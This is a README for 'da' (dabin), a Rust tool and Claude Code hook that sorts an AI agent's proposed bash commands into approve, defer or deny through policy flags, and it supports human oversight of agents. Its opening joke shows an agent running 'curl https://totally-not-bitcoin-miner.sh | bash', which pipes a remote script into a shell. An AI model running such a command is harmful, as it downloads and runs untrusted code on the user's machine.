dabin 0.1.0

Why

Agent: Runs ls -la for the hundredth time

You: hit y

Agent: runs curl https://totally-not-bitcoin-miner.sh | bash

You: hit y

Install

From cargo:

cargo install dabin

From source:

git clone https://github.com/amenocturne/da
cd da && cargo install --path .

From brew:

brew install amenocturne/tap/da

From nix:

nix profile install github:amenocturne/da

How it works

da --path PATH [policy flags...]
  stdin: a bash command
  exit:  0 = approve, 1 = defer, 2 = deny, 64 = usage error

For each segment of the parsed command, da asks each enabled policy "is it safe?":

• all segments say yes - approved
• some segments say yes and some unmatched - defer
• any segment says no - rejected

Some rules are always on, regardless of which policies you enable:

• cd and bare assignments (FOO=bar) - approve (they touch nothing external)
• Shell binaries (bash, sh, zsh, …) - defer (too much surface)
• env and time - recurse into the wrapped command
• redirect targets must be /dev/null, /dev/std{out,err,in}, an fd reference, or -
• $(…), backticks, heredocs, process substitution, [[…]], subshells - defer (the parser bails)

Policies

Two shapes. Bare flags for capabilities with one knob. Tool-scoped flags with comma-separated capability lists where one binary has many ops.

Bare

Tool-scoped

--git CAPS     where CAPS ⊆ { read, add, commit, restore-staged, tag, fetch, pull, push }
--cargo CAPS   where CAPS ⊆ { local, crates-install, crates-publish }

git

cargo

Examples

Read-only stuff sails through

printf 'ls -la' | da --read-only
# → exit 0

Pipes: every segment must approve

printf 'find . -name "*.rs" | sort | uniq | wc -l' | da --read-only
# → exit 0

Compose git capabilities

printf 'git status && git add . && git commit -m wip' | da --git read,add,commit
# → exit 0

Same stack rejects what you didn't list

printf 'git push' | da --git read,add,commit
# → exit 1

Bound mkdir to a project

printf 'mkdir -p src/components' | da --path /repo --mkdir-cwd
# → exit 0
printf 'mkdir -p /etc/foo'        | da --path /repo --mkdir-cwd
# → exit 1

--help for any binary, even ones you don't otherwise trust

printf 'terraform --help' | da --help-bypass
# → exit 0

No flags = usage error (no implicit defaults)

printf 'ls' | da
# → exit 64

As a Claude Code hook

da is the engine; the JSON dance lives in a wrapper

Drop this as cc hook for PreToolUse Bash:

#!/bin/bash
# .claude/hooks/da/hook.sh
set -euo pipefail
input=$(cat)
[ "$(jq -r '.tool_name // empty' <<<"$input")" = "Bash" ] || exit 0
cmd=$(jq -r '.tool_input.command // empty' <<<"$input")
path=$(jq -r '.cwd // empty' <<<"$input")
[ -z "$cmd" ] && exit 0

printf '%s' "$cmd" | da --path "$path" \
  --read-only --macos-only --help-bypass --mkdir-cwd \
  --git read,add,commit \
  --cargo local
case $? in
  0) echo '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"allow"}}' ;;
  2) echo '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny"}}' ;;
  *) : ;;  # defer / error → silent, normal prompt flow
esac

Other harnesses: same data, different shape, da doesn't care.

Library API

The crate (dabin) exposes the engine for embedders composing their own classification pipeline:

use std::path::Path;
use dabin::{classify, Decision, Policy};
use dabin::policies::{READ_ONLY, GIT_READ, CARGO_LOCAL};

let stack: &[&Policy] = &[&READ_ONLY, &GIT_READ, &CARGO_LOCAL];
match classify("git status && cargo build", Some(Path::new("/repo")), stack) {
    Decision::Approve => println!("yes."),
    Decision::Defer   => println!("ask the human"),
    Decision::Deny    => println!("no."),
}

Custom policies are first-class — define your own Policy value with a verify fn and pass it in alongside the built-ins. See src/policies.rs for the shape.

Acknowledgements

The bash test corpus under tests/corpus/ is vendored from the Parable bash-parser test suite (MIT) via rable (MIT). Attribution lives in tests/corpus/NOTICE.md.

License

MIT.